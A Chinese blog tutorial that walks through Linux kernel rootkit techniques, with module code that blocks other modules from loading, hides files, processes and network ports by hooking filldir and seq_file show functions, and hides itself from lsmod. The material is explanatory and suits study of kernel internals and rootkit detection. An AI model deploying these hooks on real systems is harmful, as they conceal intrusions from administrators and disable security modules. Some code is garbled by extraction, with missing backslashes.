点亮Linux下Rootkit技能树

 

前言

相比较Windows而言,开源的linux下我们似乎可以做更多的有意思的事情,我这里的Rootkit其实不局限于留恶意后门,而是一种学习的态度探索在Linux下自己去“修改 | 劫持系统操作”。让系统具有我们自己的特色的。

本文章的所有代码基于linux5.03内核的测试。

 

限制其他模块的载入

模块载入到执行的过程有一个chain的操作,涉及到消息通知;而在这之间,我们有机会修改。

模块初始调用链

init_module-> load_module -> prepare_coming_module、do_init_module ->

而在prepare_coming_module里有一条通知处理链

blocking_notifier_call_chain -> __blocking_notifier_call_chain -> notifier_call_chain -> notifier_call

SYSCALL_DEFINE3(init_module, void __user *, umod,
        unsigned long, len, const char __user *, uargs)
{
    int err;
    struct load_info info = { };

    err = may_init_module();
    //........略去
    err = copy_module_from_user(umod, len, &info);
    if (err)
        return err;
    return load_module(&info, uargs, 0);
}

/* Allocate and load the module: note that size of section 0 is always
   zero, and we rely on this for optional sections. */
static int load_module(struct load_info *info, const char __user *uargs,
               int flags)
{
    struct module *mod;
    long err = 0;
    char *after_dashes;

    /*一些检查*/

    //
    err = prepare_coming_module(mod);
    if (err)
        goto bug_cleanup;

    trace_module_load(mod);
    /*our module's init function will be executed*/
    return do_init_module(mod);

    /*略.............*/
    return err;
}

static int prepare_coming_module(struct module *mod)
{
    int err;

    ftrace_module_enable(mod);
    err = klp_module_coming(mod);
    if (err)
        return err;
    /*notify chain*/
    /*blocking_notifier_call_chain -> __blocking_notifier_call_chain -> notifier_call_chain*/
    blocking_notifier_call_chain(&module_notify_list,
                     MODULE_STATE_COMING, mod);
    return 0;
}

模块通知的处理函数可以注册,和销毁。相关的结构体与函数。

struct notifier_block {
    notifier_fn_t notifier_call;        //最终模块通知处理的函数时调用这里
    struct notifier_block __rcu *next;
    int priority;
};

//注册通知处理模块
int
register_module_notifier(struct notifier_block *nb);
//销毁通知处理模块/
int
unregister_module_notifier(struct notifier_block *nb);

实现思路

1、编写一个模块,注册通知处理函数
2、处理函数修改module的init函数为“什么也不做”

简单限制其他模块的载入实现

    int
    fake_init(void);
    void
    fake_exit(void);
    int
    module_notifier(struct notifier_block *nb,
                    unsigned long action, void* data);
    struct notifier_block nb = {
        .notifier_call = module_notifier,//自定义的通知处理函数
        .priority = INT_MAX,
    };

    int module_notifier(struct notifier_block *nb,
                    unsigned long action, void* data)
    {
        struct module *module;
        unsigned long flags;
        //定义一个锁
        DEFINE_SPINLOCK(module_notifier_spinlock);

        module = data;
        fm_alert("Processing the module: %sn", module->name);
        //保持中断锁
        spin_lock_irqsave(&module_notifier_spinlock, flags);
        switch(module->state) {
            case MODULE_STATE_COMING:
            fm_alert("Replacding init and exit functions: %s.n",
                                    module->name);
                //换掉模块的初始化与退出函数
                module->init = fake_init;
                module->exit = fake_exit;
                break;
            default:
                break;
        }
        //解除锁
        spin_unlock_irqrestore(&module_notifier_spinlock, flags);
        return NOTIFY_DONE;
    }

    static int 
    reg_notify_init(void)
    {
        register_module_notifier(&nb);
        return 0;
    }

    static void reg_notify_exit(void)
    {
        unregister_module_notifier(&nb);
    }


    int
    fake_init(void)
    {
        fm_alert("%sn", "Fake init.n");
        return 0;
    }

    void
    fake_exit(void)
    {
        fm_alert("%sn", "Fake exit.n");
        return ;
    }

    module_init(reg_notify_init);
    module_exit(reg_notify_exit);

效果演示

 

隐藏文件

除了一般的内联HOOK甚至系统调用之外,我们可以从比较底层的kernel的数据结构入手。

阅读Linux相关源码fs/readdir.c,简单熟悉下系统是如何搜索文件的。

SYSCALL_DEFINE3(old_readdir, unsigned int, fd,
        struct old_linux_dirent __user *, dirent, unsigned int, count)
{
    ..........
    struct readdir_callback buf = {
        .ctx.actor = fillonedir,        //这是之后会调用的函数
        .dirent = dirent
    };
    .......
    error = iterate_dir(f.file, &buf.ctx);    //交给iterate_dir函数
}

iterate_dir函数的实现

这里比较坑,网上很多地方都是hook的iterate,我自己实现发现没能成功,用别人的代码也不行,就仔细看看了这段处理逻辑,发现一点玄机。

主要是iterate_dir处理的时候,有两个函数指针,且有优先顺序。

int iterate_dir(struct file *file, struct dir_context *ctx)
{
    struct inode *inode = file_inode(file);
    bool shared = false;
    int res = -ENOTDIR;
    //注意这里
    if (file->f_op->iterate_shared)
        shared = true;
    /*if operation->iterate_shared & iterate are null goto out*/
    else if (!file->f_op->iterate)
        goto out;

    //略

    //优先执行iterate_shared函数、其次是iterate
    //所以为了hook稳定性,我们可以iterate_shared
    if (!IS_DEADDIR(inode)) {
        ctx->pos = file->f_pos;
        if (shared)    
            res = file->f_op->iterate_shared(file, ctx);
        else
            /*here kernel find the file_context*/
            /*who wiil call ctx->actor(filldir64)*/
            res = file->f_op->iterate(file, ctx);    
        file->f_pos = ctx->pos;
        fsnotify_access(file);
        file_accessed(file);
    }
...........
}
EXPORT_SYMBOL(iterate_dir);

iterate最终是交给struct dir_context 结构的filldir来做的,把目录结构一个个的填充到缓冲区。

所以我们隐藏文件的思路就很明确了

1、修改iterate_shared指针到我们自己的iterate
2、修改filldir指针到我们自己的filldir,过滤我们不想输出的文件信息。
3、细节问题就是在module_init里修改,注意在module_exit里修复。不然会影响正常的工作。

hook部分代码

int
fake_iterate(struct file *filp, struct dir_context *ctx)
{
    real_filldir = ctx->actor;
    *(filldir_t *)&ctx->actor = fake_filldir;
    printk("fake_iterate !n");
    return real_iterate(filp, ctx);
}
int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type)
{
    printk("fake_filldir!n");
    if (!strncmp(name, SECRET_FILE, strlen(name))) {
        fm_alert("Hiding: %sn", name);
        return 0;
    }
    return real_filldir(ctx, name, namlen, offset, ino, d_type);
}

 

隐藏进程

Linux系统,一切皆文件,也就是说,我们隐藏需要隐藏的进程信息也是通过文件隐藏实现的。

这一点,可以通过strace跟踪 ps系统调用来确定,最终是用到了getdents系统调用。

只需要将文件名这种,处理一下到pid即可。

int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type)
{
    char* endp;
    long pid;
    printk("fake_filldir!n");
    printk("pid_information: %sn", name);
    pid = simple_strtol(name, &endp, 10);
    if (pid == SECRET_PROC) {
        fm_alert("Hiding: %sn", name);
        return 0;
    }
    return real_filldir(ctx, name, namlen, offset, ino, d_type);
}

但是实际测试一下,发现这没有起作用,而且发现当我们勾去了整个根目录的时候,大部分在根目录的子目录,当我们执行ls 时,都会被勾去,但不部分目录如/procsys却没有。于是我吧勾取的目录改到了/proc。可以达到隐藏进程的目的。

 

隐藏端口

还是文件。。。

端口信息是在/proc/net/下的,根据协议来分的。

1、/proc/net/tcp
2、/proc/net/tcp6
3、/proc/net/udp
4、/proc/net/udp6

然后,具体钩子的布置,看一下内核是怎么处理的。

struct seq_file {
    char *buf;
    size_t size;
    size_t from;
    size_t count;
    size_t pad_until;
    loff_t index;
    loff_t read_pos;
    u64 version;
    struct mutex lock;
    const struct seq_operations *op;
    int poll_event;
    const struct file *file;
    void *private;
};

struct seq_operations {
    void * (*start) (struct seq_file *m, loff_t *pos);
    void (*stop) (struct seq_file *m, void *v);
    void * (*next) (struct seq_file *m, void *v, loff_t *pos);
    int (*show) (struct seq_file *m, void *v);
};

seq_file类似于file结构,seq_operation结构类似于之前file_operation结构。show函数就是我们需要改写的。

这里从什么地方改写show,参考后面的第一个链接,发现不行。查阅了源码发现相关的结构有改动。我看到一个seq_read -> traverse -> show的调用链,做了些调整。

ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
{
    struct seq_file *m = file->private_data;    //由file可得
    /* Don't assume *ppos is where we left it */
    if (unlikely(*ppos != m->read_pos)) {
        while ((err = traverse(m, *ppos)) == -EAGAIN)
            ;
..................
}
EXPORT_SYMBOL(seq_read);

static int traverse(struct seq_file *m, loff_t offset)
{
...................

    if (!m->buf) {
        m->buf = seq_buf_alloc(m->size = PAGE_SIZE);
        if (!m->buf)
            return -ENOMEM;
    }
    p = m->op->start(m, &m->index);
    while (p) {
        error = PTR_ERR(p);
        if (IS_ERR(p))
            break;
        error = m->op->show(m, p);/*由file 结构 访问 show()*/
           .....................
           pos += m->count;        /*更新下一次的buf起始地址*/
        m->count = 0;            /*count每次循环置0*/
}

有个坑,就是注意到seq_file下的seq_operations是const,也就是只读的,没法直接赋值,所以我们需要指针的方式修改。具体代码如下

# define set_afinfo_seq_op(func, path, new, old)   
    do {                                                        
        struct file *filp;                                      
        struct seq_file *p;                                     
        unsigned long* tmp;                                        
        filp = filp_open(path, O_RDONLY, 0);                    
        if (IS_ERR(filp)) {                                     
            fm_alert("Failed to open %s with error %ld.n",     
                     path, PTR_ERR(filp));                      
            old = NULL;                                         
        }                                                       
        p = filp->private_data;                                    
        old = p->op->func;                                          
        fm_alert("Setting seq_op->" #func " from 0x%lx to 0x%lx.", 
                 old, new);                                     
        disable_wp();                                            
        tmp = (unsigned long*) &(p->op->func);                  
        *(tmp) = new;                                            
        enable_wp();                                            
                                                                
        filp_close(filp, 0);                                    
    } while (0)                                                    

具体的show怎么改写,可以先看看tcp_ipv4.c下的show是怎么实现的,我们只需要知道如何过滤即可。

static int tcp4_seq_show(struct seq_file *seq, void *v)
{
    struct tcp_iter_state *st;
    struct sock *sk = v;
    /*这里是为每一条记录设置填充长度,填充到TMPSZ(150)对齐*/
    seq_setwidth(seq, TMPSZ - 1);
    /*第一行的内容,标注每个字段的含义*/
    if (v == SEQ_START_TOKEN) {
        seq_puts(seq, "  sl  local_address rem_address   st tx_queue "
               "rx_queue tr tm->when retrnsmt   uid  timeout "
               "inode");
        goto out;
    }
    st = seq->private;
    /*分类处理*/
    if (sk->sk_state == TCP_TIME_WAIT)
        get_timewait4_sock(v, seq, st->num);
    else if (sk->sk_state == TCP_NEW_SYN_RECV)
        get_openreq4(v, seq, st->num);
    else
        get_tcp4_sock(v, seq, st->num);
out:
    /*根据之前设置的填充长度,用空格填充,最后空行结束一条记录*/
    seq_pad(seq, 'n');
    return 0;
}

/*举一例*/
static void get_timewait4_sock(const struct inet_timewait_sock *tw,
                   struct seq_file *f, int i)
{
    long delta = tw->tw_timer.expires - jiffies;
    __be32 dest, src;
    __u16 destp, srcp;

    dest  = tw->tw_daddr;
    src   = tw->tw_rcv_saddr;
    destp = ntohs(tw->tw_dport);
    srcp  = ntohs(tw->tw_sport);
    /*这就是在缓冲区里填充的格式*/
    seq_printf(f, "%4d: %08X:%04X %08X:%04X"
        " %02X %08X:%08X %02X:%08lX %08X %5d %8d %d %d %pK",
        i, src, srcp, dest, destp, tw->tw_substate, 0, 0,
        3, jiffies_delta_to_clock_t(delta), 0, 0, 0, 0,
        refcount_read(&tw->tw_refcnt), tw);
}

每一次向缓冲区输出时,都会更新seq->count的大小(缓冲区的长度),buf每次根据show结束的seq->count的大小,移动pos指针。所以我们只需要在show之后检查到了需要过滤的端口,将该条记录的长度减去就得了。

简单的fake_seq_show的代码

int
fake_seq_show(struct seq_file *seq, void *v)
{    
    int ret;
    int last_len, this_len;
    //当前记录的长度
    last_len = seq->count;
    ret = real_seq_show(seq, v);
    this_len = seq->count - last_len;

    //判断是否存在我们需要过滤的端口信息
    if (strnstr(seq->buf + last_len, SECRET_MODULE, this_len)) {
        fm_alert("Hiding module: %sn", SECRET_MODULE);
    //删除记录
        seq->count -= this_len;
    }
    return ret;
}

测试效果,以tcp6、22端口为例

 

隐藏内核模块

模块的查看方式及来源

1、lsmod   来源于文件/proc/module
2、/sys/module  来源......就不用再说了吧

第二种就类似于文件隐藏,不多说

隐藏lsmod的查看,在于/proc/module,其实和上面二点隐藏端口的方式类似。

可以看一下系统处理的整个调用链,和端口的处理类似,一样用的seq_operation结构体,只是初始的函数指针不同。

所以我们可以使用和隐藏端口一样的方式来达到目的,只是入口的目录和过滤规则变了。

效果如下,隐藏了我们自己的module

 

继言

之后再看看有什么好玩的可以在内核里做的,会持续和大家分享。

参考链接

强烈推荐:本篇文章绝大部分学习于Linux Rookit系列

(完)